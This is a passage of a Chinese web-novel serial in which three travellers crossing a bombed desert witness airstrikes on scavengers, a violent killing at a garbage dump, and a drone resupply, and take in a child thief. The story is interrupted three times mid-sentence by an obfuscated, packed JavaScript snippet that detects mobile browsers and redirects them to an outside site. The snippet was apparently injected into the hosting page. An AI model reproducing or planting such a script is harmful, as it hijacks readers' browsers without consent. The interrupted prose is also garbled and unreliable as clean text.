“我们大概多久能到?”贾思年双手抱头瘫回了椅子上。 “全速前进的话一共需要四天,如果你们想下去看风景的话就不好说了。” “等一下,”贾思年忽然坐直了身体,她忽然想到了一个要命的问题,“我们车上的能源够用吗?” “没关系,我计算过了,你们过了边境到南方之后,可以拿一次空投的补给,肯定是够开到南边汇合的。”伊芙自信地回答。 拿空投来补给能源吗?这靠谱吗?贾思年隐隐担忧,但是原本计划的行程没有那么远,车上也没有能源可以补充,除了去拿空投,倒也没有更好的办法。 “还有,旅行社发现车没回去怎么办?”贾思年又问道。 “一辆一模一样的旅行车明天就会开回北边的游客出发中心,那边全是机器人,很好糊弄的,你放心吧!”伊芙对自己的计划似乎很是得意。 是啊,你倒是得意了,这下好了,我们三个就算死在沙漠里,也不会有人知道了。 贾思年扶额。 29. 黄沙之下(四) 林奈被放在了旅行车挡风玻璃前,绿色的豆豆眼直勾勾地盯着外面连绵起伏的沙丘,黄棕色的沙丘和灰色的天空中间形成锯齿状的分界线,倒映在金属球的显示屏上。 他伸出两条绳索一样的胳膊,环抱在身前,显示屏上出现了两条皱起的眉毛。 自从来到索罗甘,林奈就一直很不爽。 且不说贾和安娜到处吃吃喝喝而他连味儿都闻不着,她们两个人天天卿卿我我是在闹哪样! 首先贾从没说过自己喜欢女人,其次安娜从没说过自己喜欢女人,最后他自己也不能接受贾喜欢女人…… 林奈在心里暗暗下定决心,只要有他在,那种事情绝对不可能发生! 显示屏上的眉毛又压低了一些。 忽然,他注意到天上好像有什么东西,他拉近了头顶的摄像头仔细分辨。 是一架飞机。 忽然飞机的底舱开启,一些东西被稀里哗啦地扔了出来,林奈的摄像头已经拉到了极限,模糊中看见了那些东西很快打开了降落伞,开始慢悠悠地下落。 这是空投吗? 林奈把视线拉远,看到挂着小小降落伞的物资,正在朝着一堆破败的地表建筑下坠。 他开启搜索,地图上说前面是一处古代居住区,他点开旁边推荐的新闻,发现这片早已风化了的建筑在几个月前的轰炸中刚刚被摧毁。 轰炸?炸这里干嘛? 空投在这里吗?谁会来拿呢? 林奈转过身体,绳子一样的胳膊伸得老长,戳了戳贾思年身上的防护服,“贾,你看前面。” “哎?”伊芙比贾思年更快叫了出来,“这是夏曦国的空投!” “空投在这儿?”贾思年的双手圈成两个圈,像望远镜一样抵在眼眶上,“这是认真的吗?周围一个地下社区都没有,谁会跑到这种前不着村后不着店的地方来?” 话音刚落,她看到破败的建筑里窜出了几个小黑点,向着那些空投的降落伞移动。 “伊芙,有望远镜功能吗?”贾思年问道。 “有的。” 旅行车的前挡风玻璃变成了一块屏幕,那些小黑点原来是裹得严严实实的人,他们的衣服实在算不上是防护服,像是许多破布一圈一圈地缠在身上,好像一群肥胖的木乃伊,破布同样缠上了他们的头顶和口鼻,只露出眼睛上罩着的防护镜。 但并不是所有人都有防护镜,有的人甚至只戴了一副不知从哪捡来的游泳镜。 他们好像一群老鼠从破败的房屋里出洞,爬过被炸毁的废墟,争先恐后地奔向空投,有人不小心在乱石上摔倒,甚至来不及拍掉身上的沙土,立刻爬起来继续奔跑。还有两伙儿人似乎因为一处空投的所有权引发了争吵,互相指着鼻子对峙了一会儿,最后居然扭打在了一起。 贾思年倒吸了一口凉气,“这里竟然有人!” 伊芙难得地沉默了。 “就是因为有人在,所以才会有空投。”半晌,她发出了声音。 “住在这里?他们看起来连空气净化设备都没有……”安娜满脸震惊地看着车内的摄像头。 “你是什么时候离开索罗甘的?自从北边阿尔弗雷德政府靠着科斯塔联盟正式掌权之后,南边的生活就越来越难捱了。” “地下社区里的资源也要靠夏曦国和安比克索的支援,居住成本甚至可能更高,有的人忍受不了那样的生活,就搬到了地面上,至少这里可以直接拿到空投。” “代价也许是没有干净的空气。”贾思年盯着那些在屏幕上扭打起来的人们说道。 忽然,前挡风玻璃上的影像消失了,取而代之的竟是一则危险预警: “附近有轰炸机出没,请及时规避!” “伊芙,这是什么情况?”贾思年急忙问道。 “是北边的轰炸机,看样子是冲着刚才的空投来的,波及范围不好预估,我们绕路躲一下。”伊芙立刻调转车头,车子向着居住区的另一侧驶去。 轰! 突然一声巨响,贾思年和安娜在座椅上感受到了巨大的气浪,林奈的金属球直接从挡风玻璃前滚落到了地上,发出一声闷响。 贾思年猛地回头,看见刚刚空投的区域升起了滚滚浓烟,黑灰色的烟混着黄沙,在灰色的天空下翻腾着移动,贾思年看得有些发愣。 “……刚刚……刚刚那些人……”安娜捂住了嘴巴。 刚刚还在为了空投追逐厮打的人们,就这样又一次被埋在了废墟之下。 “我们能不能去看看他们,万一还有人活着呢?”安娜近乎恳求地拉住贾思年的手。 贾思年看着她的眼睛,时间好像又回到了安娜跪着求她接下委托的那一刻,贾思年的脑海里浮现出她在上载世界的书房,但她忽然意识到哪里不对,跪坐在地的安娜身后瞬间变成了她在十三区的家。 贾思年忽然头痛难忍。 没完了是吧! 只要想起在彩蛋副本中被篡改的记忆,她的头就像被斧子劈了一样疼得要裂开。贾思年在防护服上胡乱地摸,然后想起止疼药在她之前的上衣口袋里,她站起身,跌跌撞撞地向车后的行李箱走去,一边走一边心不在焉地问道,“伊芙,我们能不能……” “想都别想,下一波轰炸马上就来了。”伊芙的话音刚落,又是一声巨响,爆炸的位置似乎距离她们更近了一些。气浪使贾思年跌坐在地上,她几乎是爬到了行李箱边,慌忙倒出了两粒止疼药。身边没有水,贾思年咬碎了药片坚硬的表面。 她嘴里瞬间迸发出了巨大的苦味。 可算是吃到嘴里了。 她松了一口气,瘫坐在地上。 苦味让她清醒,药片给她止痛,她看到窗外破碎的石块在天上飞起又落下,不远处又腾起了一丛浓烟。 旅行车紧急停下,林奈在地板上直接滚到了车尾,金属球撞在贾思年的身上,一阵天旋地转让林奈觉得脑子发昏。 “不能再往前走了,我们得等这波轰炸结束。”伊芙在屏幕上调出了空中的雷达图,两个闪烁的红点正在她们上空盘旋。 “贾,你还好吧?”金属球的眼睛幽幽地看着她。 “不要紧。”贾思年呲牙咧嘴地对着林奈摆了摆手,抬头望着雷达图上的红点。 “它们怎么还在这里?”贾思年皱起眉头。 “大概……在确认底下还有没有活物。”伊芙的声音沙哑。 “那我们呢?我们也是活物啊。”贾思年声音急促。 “别担心,这辆车带有旅行社的信号发射器,无人轰炸机会避开的。”伊芙清了清嗓子说道。 又过了一会儿,雷达图上的红点远去了,伊芙关掉了挡风玻璃上的投屏,眼前又是一片黄沙漫漫,只是原本就破败的建筑变得更加难以分辨出建筑的形状。 乱石之上,笼罩了一层似乎永远无法消散的烟雾。 安娜瘫坐在椅子上,双手捂住了嘴巴,她的眼睛浸满了悲伤,泪水决堤,顺着她的防护手套止不住地流下。 “这样的事天天都有,”摄像头转向安娜,伊芙故作轻松地说,“我说这位小姐,你要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537558|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 话音未落,语音导航又被贾思年在车尾关掉了。 这人到底会不会说话啊!不说话没人把她当哑巴! “听她说话我脑瓜仁疼。”贾思年捡起地上的金属球,坐回前排的座椅上。 她什么也不想说,因为该说的话伊芙其实已经说过了,她也不想看见安娜的眼泪,因为她最受不了的就是这个了,所以她就这么静静地陪着她坐着,很快,身旁无声的抽泣就变成了嚎啕大哭。 贾思年伸出手臂搂着安娜的肩膀,安娜立刻环抱着她的脖子大哭。贾思年拍拍她的后背,“如果真的很难过的话,哭出来就好了。” 贾思年又一次觉得熟悉,她想起了那个叫里奥的AI少女。 打住! 她努力克制自己,不要再去回忆,但思绪好像脱缰的野马,完全不受控制。她好像又一次来到了地底中心狭窄逼仄的通风管道里,少女的眼泪钻进她的骨头,空气里都是她们爬行扬起的灰尘。 钻心的头痛又一次袭来。 X的怎么又来劲了啊! 贾思年觉得自己快要疯了。 止痛药至少要间隔六个小时才能吃,在这之前她只能硬撑,抱着自己痛哭的女孩似乎没意识到她有什么不对,贾思年实在支撑不住,她向后瘫在了座椅上。 “不好意思哈……我实在头疼……” 安娜似乎一愣,她停止了大哭,抽泣着问道,“……还是因为……记忆吗?” “是。”贾思年感到一阵眩晕。 忽然,前挡风玻璃竟强行变成了屏幕,一段红字开始在屏幕上滚动: “热烈庆祝用户玛娜·尼克斯2374完成彩蛋副本:世界的起源!彩蛋将立刻在上载世界随机重置,期待与大家再次相见!” 贾思年觉得自己好像又一次回到了那艘租来的快艇上,红色的字迹在她的头顶围成了一个螺旋向上的圈,开始跳起了诡异的舞蹈,她再也支撑不住,昏了过去。 …… “原来如此。” 贾思年在一片漆黑中听到了一个熟悉又陌生的声音。 “也许,也许这次真的可以……” 空灵的声音仿佛来自世界的尽头。 “贾,对不起。” 是谁在说话? 贾思年猛地睁开了眼睛。 她发现自己躺在旅行车后的床上,光线昏暗,车内已经开启了夜间模式,黑暗中只能看到前面仪表盘亮起的灯光。 她发觉自己头上全是汗,但身上却因为防护服的循环系统而保持干燥。 还真别说,这衣服还真有点东西,她不由得竖起大拇指。 贾思年转头看到安娜熟睡的脸上还挂着泪痕。 她蹑手蹑脚地爬了起来,走到前面抓起一瓶水大口喝起来。 贾思年抹了一把额头上的汗,在前排座椅上坐了下来。 她打开语音导航,把音量调到最低。 “伊芙!给我出来。” 对面立刻发出了大呼小叫的声音,“嗨嗨嗨!你以为现在是几点?我早就该下班了!” “别扯那些没用的,白天的阵仗你也看见了,我问你,我们过了边界线要怎么去拿空投补给旅行车的能源?” 伊芙忽然陷入了可怕的沉默。 “如果是你的话,应该能想到办法的吧?”过了一会儿,她幽幽地说。 “你?!”贾思年的怒火又一次窜了上来。 果然! 标榜五倍工资的坑货,果然没一个好东西! 30. 黄沙之下(五) “别生气嘛~”伊芙又换回了贱兮兮的声音。 “没办法啊,整个计划千算万算,就是绕不过能源,我们之前甚至想在那边派人多放一组电池在车里,但是每次只要一称重就会被发现。” “你不是说那边的机器人很好糊弄吗!”贾思年在心里不断提醒自己对方好歹是国际友人,强忍着骂人的冲动。 “这不一样嘛,只要找两个人假扮成你们就能混过去,但是黑进旅行社的系统里就非常冒险了。” 贾思年这下终于明白她的委托人为什么找了这么一个性格恶劣的人来跟她接头了。这要是脸皮没有城墙厚,这些乱七八糟的事还真是难说出口。 但是她转念又想到了自己当初是怎么坑蒙拐骗地拉林奈一起接这个委托的,不禁感叹起她贾思年居然也有今天。 恶人自有恶人磨,果然还是要少干坏事啊! “……行吧,我服啦,”贾思年叹了口气,“说计划吧,别告诉我你没有计划就行。” “欸嘿,还真有。”伊芙打开了挡风玻璃上的显示屏,上面的影像似乎是一个垃圾场。 “今天夜里会通过边界线,明天下午就能到达三号垃圾场,你们在那等到夜里,我从这边发小型无人机过去,低空飞行不容易被他们发现。” 贾思年看着地图上规划的无人机路线,皱起眉头,“垃圾场?” “你不会以为南边还有能源来处理垃圾吧?” “……抱歉。” “没关系,还有什么问题吗?”伊芙轻快地问道。 “没问题。”贾思年回答。 第二天中午,旅行车照常在沙漠里疾驰,贾思年在车后的大床上把腿抬到了手臂上,裹着防护服的四肢缠在一起,好像拧成了麻花。 “你在做什么?”金属球展开翅膀悬浮在最前排的座椅上,向后转头看着她,又看看坐在她身边老老实实用手机看着视频的安娜,眨着豆豆眼问道。 “做瑜伽啊,天天坐车,坐得我屁股发麻。”贾思年把腿换了一个方向伸去。 “瑜伽吗……”金属球转过身去看着窗外,很快注意到远处一个颜色混乱、张牙舞爪好像也在做瑜伽的沙丘。 “贾,前面好像有什么东西。”林奈说道。 贾思年迅速解开了系在一起的四肢,走到了林奈身边,“什么啊?给我看看。” 她打开了挡风玻璃上的屏幕,放大了远处怪异的沙丘。 屏幕上是各种形状难辨的东西,贾思年把图像放大到底,才勉强辨认出一个被烫坏了的老旧塑料瓶,大部分是一堆堆很难想象原本是什么东西的碎片。 这是垃圾场吗? “没错,就是这里,很快就到咯。”车里响起伊芙懒洋洋的声音。 “你打算把车停哪里?”贾思年打开了地图。 “垃圾场西边一公里有个沙丘,停在沙丘后面,然后你们只需要等到半夜出来取快递就可以了。” 听着倒是容易,贾思年冷冷地哼了一声,又把图像切换到了垃圾场。 刚过正午,辐射超标的阳光透过灰蒙蒙的天空,仍然强得刺眼,贾思年百无聊赖地划过图像上的碎片,忽然意识到一个问题。 “这些垃圾是怎么运过来的啊?”她问道。 “这个嘛……现在是下午一点,今天风速很低,你应该很快就知道咯。”伊芙开始故弄玄虚。 嗯?难道附近有什么运输通道吗? 贾思年拉远了视线,忽然看到垃圾场附近某处的沙地似乎开始松动、陷落,好像沙子底下有什么东西在蠕动。 她拉近了视线,发现黄沙之下,一个平台缓缓升了起来,几辆地下社区常见的悬浮垃圾车,正排着队从平台之下飘了出来。 屏幕上的图像跟着几辆垃圾车来到了垃圾场上,垃圾车队打开底部的舱门,扔出了一块块方方正正的巨型包裹。 贾思年细看发现,这些包裹原来是被压成立方体的垃圾,巨大的方形垃圾砸进了垃圾堆里,激起地上的碎片和沙土飞溅。 它们几个自己站在这里就能分解成碎片?贾思年有点摸不着头脑。 忽然,不知从哪窜出了一群形状难辨的生物,贾思年瞪大眼睛,再次放大影像,看见一群张牙舞爪的生物正在朝着方形垃圾飞奔。 贾思年定睛一看,发现这些生物居然是一群人。 这里居然也有人?!她彻底为索罗甘人民蟑螂一般的生命力折服了。 那些人被渔网一样的破布和塑料缠满全身,唯一裸露出的眼睛上戴着形态各异的防护罩。 如果这些真的能称之为“防护罩”的话。 有人戴着两个塑料瓶底,有人头上罩着一个鱼缸,有人甚至只蒙上了一层塑料…… 他们不知从哪里出洞,急忙冲着刚扔下来的“新鲜”垃圾跑了过去。 人们疯狂地把压成方形的垃圾扒开,拼命把还能用的垃圾搂进随身的袋子。毫不意外地,一些人为了争抢某个垃圾扭打在了一起,但很快就分出了胜负。一个看起来十分瘦弱的人被打倒在地,一开始他还在地上挣扎抽动,很快,便一动不动地仰面躺在地上。 贾思年的眉毛拧在了一起。 她看见有几个人踢了那人两脚,见那人不动了,竟从身上缠绕的破布之下掏出了形状各异的砍刀,有的刀缺了一大块齿,有的刀只剩下了半个,聚在一起好像什么古怪的冷兵器图鉴。 等一下!这是要干嘛!贾思年瞪大了双眼。 一个人抄起手上的家伙,竟直直地砍向那人的脖子! 可缺了齿的刀怎么可能一击砍断人的脖子,形状诡异的砍刀不断扬起又落下,好像死神挥着镰刀在垃圾堆里收割,喷出的鲜血溅到所有人身上,瞬间一片猩红。 那人身上原本就微弱的起伏终于彻底消失了。 什……什么?! 强烈的恶心冲上贾思年的喉咙,她感觉这几天吃过的东西都要顺着旅行车上的马桶从她嘴里吐出来。 疯了,全都疯了! 她不可置信地看着那几个人继续在那人伸展的四肢处挥刀,一刀刀仿佛砍在了她自己的身上,她痛苦地蹲在地上,那些血液好像是从她的心脏里流到了肮脏混乱的垃圾场上。 那些人抢夺着他们的战利品,把那些裹着破布还流着血的肉块迅速装进了自己的口袋。 贾思年颤抖地蹲在地上,她环抱着自己的肩膀,她感觉自己的心脏好像在失血。 她又一次感受到了虚弱。 ……怎么……怎么会这样? 身后突然传来尖叫,接连而来的是呕吐的声音,她猛地回头,看见安娜痛苦地趴在垃圾桶上。 贾思年立刻爬到了控制台前息掉了屏幕。 她的胃里一阵剧烈的翻江倒海,她再也忍不住,起身奔向了旅行车的卫生间。 …… 贾思年从洗手间走了出来,抬头看见屏幕上又一次被调出了垃圾场上的那摊血迹。 屏幕上是垃圾场的远景,红色的鲜血侵染了周围的碎片,远远地看上去,像一朵红色的花。 安娜跪坐在地上,双手相握在胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537559|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口,贾思年能听见她嘴里好像在喃喃地说些什么。 她好像在唱一首古老的歌,词曲随着风沙在空中拂过,贾思年觉得自己好像也变成了一粒沙,掠过荒芜的沙丘和破败不堪的建筑,最终落在了垃圾场上的血泊中。 安娜在哭,她的眼泪在为那人祈祷。 林奈的金属球靠在安娜身边,望着那摊血迹一言不发。 贾思年听说过这种事,地下社区偶尔也会有忽然消失的孤儿,但刀子没落在自己面前,贾思年就当看不见。她一直认为,想要在末世好好活下去,就不能管得太宽,因为她对大部分的事情都是无能为力的。她承认当初接下这个委托确实是因为自己收到联络之后越想越气,一时动了恻隐之心,但她从没想过自己真能改变什么。 难道依靠自欺欺人的“神迹”,索罗甘沙漠贫瘠的南方就真的能跟整个科斯塔联盟对抗吗? 理智告诉她当然不可能,可是就在刚才,一个裹着破布生活在地表垃圾场上的人,只是为了跑出来抢点垃圾,竟在她面前被人活生生地大卸八块,变成肉块被分而食之。 最后在垃圾场上留下他存在过的唯一证据,一朵血色的花。 人们怎么会落到如此地步? 贾思年的双拳紧握,指甲嵌到了防护手套的纤维里,但她却感受不到手掌的疼痛。 她望着车顶的摄像头,呕吐之后的脱水让她嘴唇苍白,但眼神却像寻猎的鹰,她试图张了张嘴,“你说得对,伊芙。” “这事我算是脱不了干系了。” 伊芙没有回答,只是默默地向西边的沙丘进发,很快,屏幕上的垃圾场消失了,只剩下漫天的黄沙。 旅行车在垃圾场的西边停下,静静地等待夜幕降临。 从午后到入夜,旅行车里安静如鸡,贾思年看着外面一片漆黑,看了一眼手环上的时间,现在是晚上十点,伊芙的补给预计在夜里一点左右到达。 贾思年的肚子忽然咕咕叫了一声,打破了过分的安静,她们午饭和晚饭都没有吃。 “安娜,你要吃东西吗?”她转头看见安娜整个人蒙在被子底下,好像在床上鼓起一个小小的山包。 安娜没有回应。 “饭还是要吃的啊。”贾思年自言自语着起身,从架子上拿出了两包速热食品,很快,热气腾腾,贾思年开始闷头扒饭。 “多少吃一点吧,安娜,人是铁饭是钢。”贾思年含糊不清地说道。 安娜从被子里探出头来,闻到了速食米饭的香味,她撇了撇嘴,从被子里爬了出来。 这就对了嘛。贾思年把餐具递给她。 活人还是得继续活着啊。 贾思年双手托着脸,看着安娜一点一点地吃完碗里的食物,她从口袋里摸出了一颗糖,放在了安娜面前的桌子上。 贾思年站起身,好像忽然听到一阵细碎的声音,起初她并没有在意,以为是沙子打在旅行车表面的响声,过了一会儿,声音变得越来越清晰,突然,车内响起了警报,屏幕上显示旅行车右后方的履带有异常。 贾思年立刻打开车子周围的摄像头,四周漆黑一片,但车外的声响却愈发规律了起来。 “嗒、嗒、嗒……” 别吓我啊,怎么回事啊? 贾思年打开了热成像,看到右后侧的履带旁边,赫然一团黄绿色的轮廓。 这又是什么鬼啊! 贾思年强装镇定地戴上面罩,从车子内壁上取下了消防斧,别在身上。 “你们在车里等着,我下去看看是个什么玩意儿。” 31. 黄沙之下(六) 贾思年站在旅行车两道车门间的隔离区里,她关掉了隔离区的灯,站在狭小黑暗的空间里,等待自己的眼睛适应黑暗。 她依然能听见从外面传来的规律声响,站在门口,甚至觉得声音更大了一些。她环视着隔离区墙面上发出微弱光亮的监测设备,终于勉强能看见门边开关的按钮,她深吸了一口气,按下按钮,打开了外车门。 车门无声地开启,门外漆黑一片,比车内的隔离区更甚,贾思年打开了面罩的夜视功能,将腰间的消防斧紧紧握在手中,悄无声息地走了出去。 脚下的沙地意外地坚硬,伊芙确实找了个停车的好地方,贾思年的左手扶着旅行车的外壳,感受到传来的阵阵敲击,她的脑袋里忽然闪过了白天垃圾场上规律的挥砍,贾思年吞了吞口水,顺着车体缓缓地向后走去。 贾思年无声地绕到了车后,规律的声响和手上传来的震颤愈发清晰,她记得车上的监控显示右后方的履带有异常,她走到拐角处,停下了脚步。 好,来看看你到底是个什么鬼。贾思年深吸了一口气,迅速冲了出去。 夜视镜里忽然出现那团黄绿色的东西,对方起初没发现贾思年,等到发现了之后,她已经提着消防斧近在咫尺,黄绿色的东西似乎吓了一大跳,一屁股坐在沙地上,贾思年才认出这原来是一个人形。 准确地说,应该是个身材非常矮小的人形,他见贾思年冲了过来,扔下手里原本拿着的什么东西,连滚带爬地打算拔腿就跑,然而却被贾思年一把拉住提了起来。 贾思年把他一只手提到空中,他开始大声说着当地的语言,贾思年听不懂,但能确定他骂得很脏。 那人开始试图踢打贾思年,她只好扔下消防斧,抓住他的一条腿。 那人像个王八一样被贾思年整个提在空中,可依然在空中胡乱地踢打。 “你是什么人!在这干嘛呢?”贾思年大声问道。 然而对方也听不懂她的话,就还是翻来覆去那几句她听不懂的话在破口大骂。 如果是平时,贾思年把他吓跑了这事也就算拉倒了,可今天不一样,今天是伊芙送能源过来的日子,临近这种重要关头,忽然出现任何异常都是可疑的,她们是被发现了吗?这个猴子是谁派来的?到底要做什么? 贾思年把他扔在了沙地上,他刚要爬起来,又被她一脚踩在地上,她骑在他身上,撕开一层他身上缠着的破布和塑料,把他的手脚绑了起来,那人立刻像个虫一样在地上开始疯狂地扭动,贾思年把他一把抓起来放在肩膀上,任凭他在空中挣扎。 带回去让安娜好好审审这猴子。 贾思年回到了旅行车里。 于是安娜和林奈就看着贾思年把一条大黑虫一样的生物扔在了旅行车的地板上,那东西被扔在地上好像摔得很痛,开始含糊不清地大声说着什么。 贾思年摘下了面罩,顺手扔在了桌子上,然后摁住地上疯狂扭动的虫子,扯掉了他罩在眼睛上的塑料,撕掉了他脸上的破布。 露出了一张稚气未脱但破口大骂的脸。 他见贾思年撕掉了他脸上的破布,直接一口咬在了她的防护服上,但防护服的坚韧材料反倒让他牙齿吃了痛。 “看来你不是猴子,你是疯狗。”贾思年甩了甩手,笑着看他牙疼的表情,起身站了起来。 “安娜,你问问他是什么人,在这做什么。” “呃……啊?好……”安娜吓了一跳,有点语无伦次,但很快就用贾思年听不懂的维肯特语和地上的人交谈了起来。 那个小鬼眼看着逐渐平静了下来,贾思年坐在旁边盯着他,然而气氛竟然逐渐奇怪了起来,安娜看起来越说越眼泪汪汪,小鬼竟然趴在地上哭了起来。 喂喂喂,这是在干嘛! 贾思年刚要起身,却发现金属球出现在了她身边,“那个小孩说自己是跟父母一起来到垃圾场的,他的父母有一次出门抢垃圾之后就再也没回来,他白天抢不到垃圾,就想来我们车上看看有没有什么能偷的。” “你翻译起来倒是挺方便。”贾思年撅起下嘴唇吹了吹脸上的头发。 “哦哦哦?怎么这么热闹?”车里忽然响起了伊芙的声音,“无人机大概还有20分钟就到了,你们这是在……?” “伊芙,能不能帮我搞个翻译器?”贾思年起身问道。 “这个简单,你把手机连到车上就行。” “行吧,那就先交给你了,我去下面看看这小子都给我找了什么事。”贾思年拿起桌子上的面罩扣在头上,又一次走出了旅行车。 贾思年打开头灯,看着那个小鬼折腾的一片狼藉。不过好消息是,他折腾了半天只拆掉了履带主动轮附近的固定楔子,贾思年打着灯在地上找了半天,又用消防斧的背面把楔子敲回了去。 贾思年看着地上散着的他的作案工具,一块石头,一根钢筋,一个只有一半脑袋的铲子。 他是打算用这些东西拆旅行车吗? 贾思年摇了摇头,助跑,然后把地上的破烂一脚踢飞。 “无人机还有五分钟到达。”贾思年听到面罩里传来伊芙的声音。 “好,那我就在下面等着。” “你的翻译器已经搞定了。” “谢谢。”贾思年不咸不淡地回答,很快她听到了无人机的螺旋桨发出的声音,不一会儿,一个闪着微弱灯光的无人机低空飞了过来,下面吊着一个长方体。 “拿到了。”贾思年卸下黑灰色的长方体,无人机又一次转起了螺旋桨飞走了。 “左边,车的左后侧有能源标识,打开盖子就可以换上新的了。”伊芙说道。 贾思年毫不费力地换好了能源箱,提着换下来的能源回到了车上。 “好,现在就有时间慢慢解决这个小鬼了。”贾思年从手机底部取出了无线耳机挂在耳朵上,试图说几句话看看翻译效果。 “你是猴子还是疯狗?”手机传出了机械的翻译声。 “厉害了伊芙!不过这翻译得对吗?”贾思年拉出手机的投影,捣鼓着里面新装的软件问道。 “你才是猴子。你才是疯狗。”她忽然听到耳机里传来翻译过的机械声音,扑哧一声笑了出来。 “太一本正经了伊芙,能调得正常一点吗?”她在选项上划来划去,最终找到了语气识别。 “物种问题可以等等再谈。”贾思年拎起地上的小鬼,让他坐了起来,然后问道,“说吧,谁让你来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537560|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你来这儿就是为了偷履带?” “我刚刚都说了!我只是想来看看有没有能拿的……”他把头别到一边。 贾思年觉得他倒是不像在说谎,开始思考该拿这个麻烦怎么办,“伊芙,你们应该不介意我把他也带到南边去吧?” “我没意见,丢下去确实不合适,杀了的话我猜那位安娜小姐肯定不同意。”伊芙回答。 “……你要做什么?”安娜猛地转过头,对着车里的摄像头怒目而视。 “好了安娜,她就会打嘴炮,不会真杀了他的。”贾思年蹲下来看着坐在地上的小孩,“我叫贾思年,你叫什么名字?” “莱拉·拉赫曼。”他坐在地上嘟囔。 “真不错,居然还有个名字,你已经超过百分之九十九的大街上捡来的小孩了。”贾思年笑嘻嘻地说,不过脸上又马上冷了下来。 “莱拉,现在得让你清楚眼前的状况,不管你的真实目的是什么,你现在只有两条路可以选,要么跟着我们去南边,那边现在在准备打仗,要么你就得死在这了。” “反正……去哪都有可能死,看你想不想多活一会儿了。”贾思年问道。 “……我有得选吗!”莱拉瞪着眼看着贾思年,似乎是想再冲着她咬上来。 “特殊面料,小心把你牙崩掉啊。”贾思年微笑着摇了摇食指。 “那我就当你选跟我们一起了,穿着破布条可不行,我给你找一套备用的防护服。” “开车吧伊芙。”她不忘嘱咐道。 “我给你解开,你不许咬我啊。”贾思年指着莱拉的鼻子说道。 “让我来吧。”安娜走了过来,开始解开莱拉手脚上的破布。 一直像倔驴一样的小孩瞬间温顺了下来。 “来,我带他去洗澡。”贾思年把他从地上拎了起来。 “你轻一点。”安娜皱了皱眉,看着贾思年把莱拉扔进了浴室,关上了门。 “啊???”隔着门,浴室里忽然传来了贾思年的声音,“你是女的啊???” 然后传来了花洒把水喷在地上的声音。 …… 莱拉穿着及不合身的防护服从浴室走了出来,安娜见状,忙走上前去给她挽起袖子和裤脚。 贾思年也紧跟着从浴室走了出来,她只穿了件背心,防护服的上衣被她系在了腰间。灯光打在她身上,她的卷发湿漉漉地别在耳后,裸露的皮肤上全是水珠,看不出到底是淋湿了还是出了一身汗,微微充血的肌肉反着光,好像刚刚在浴室里打了一场硬仗。 “X的,这个小泥鳅,累死我了,看好她,我也得洗个澡。” “恐怕没时间了,贾。”语音导航里伊芙的声音似乎很紧张,她打开了雷达图投在前挡风玻璃的屏幕上,屏幕上赫然出现了两个红点。 “这是什么意思?”贾思年急忙走到了屏幕前。 “有两辆轰炸机正在靠近,这个时间没有任何空投,这很反常。” “废话,我当然知道这是轰炸机!” ……没有任何空投吗? 贾思年转念一想,那她刚刚从无人机上拿下来的是什么玩意儿? “快跑伊芙,它们是冲着我们来的!” 32. 黄沙之下(七) 贾思年匆忙穿好防护服,端坐在前排的座椅上,紧张地看着雷达图上的两个红点越来越近。 “为什么会被追踪?你不是说车上有发信器?”她问道。 “我也不清楚,它们应该是监察到了无人机,现在出发寻找空投地点,按照以往的流程,到了目标位置会继续寻找生物信号。”伊芙紧张地回答。 “你预测它们追上还要多久?” “不超过十分钟。” 不超过十分钟……贾思年眉头紧锁,如果到了垃圾场西边的沙丘发现没有生物信号,轰炸机会直接打道回府吗?可是那里离垃圾场这么近,它们会转而去轰炸垃圾场吗?如果是这样的话……那她们岂不是害死了垃圾场上所有的人?贾思年咬紧了后槽牙。 “垃圾场上的人……会被牵连吗?” “……这不好说。”伊芙回答。 旅行车在漆黑的沙漠里全速前进,两架轰炸机离她们越来越近,贾思年隐隐觉得不对,她打开地图,发现她们早就远离了垃圾场,可两架轰炸机压根没有理会空投的地点和旁边的垃圾场,竟直直地向她们飞来! “伊芙!这根本不对!”贾思年的大脑开始飞速运转,旅行车上有发信器,按理来说是绝对安全的,她们路过废墟时也因此躲开了轰炸,那现在到底是什么东西把轰炸机引来了? 旅行车上……多了什么吗? 贾思年回头看见了坐在椅子上狼吞虎咽地吃东西的莱拉。 贾思年猛地起身,一把抓住了莱拉的脖子,“谁让你来的!你身上藏了什么!” 莱拉嘴里一大口饭菜,咽不下去吐不出来,被贾思年扼住了喉咙又喘不上气,她抓着贾思年的手臂,试图挣脱,表情痛苦不堪。 “贾!你冷静一点!”安娜急得试图把她们分开,却被贾思年一甩手推坐在地,“莱拉和我说她父母是被炸死的,她想加入抵抗军,她不会是北方军的人!” 安娜坐在地上掩面痛哭。 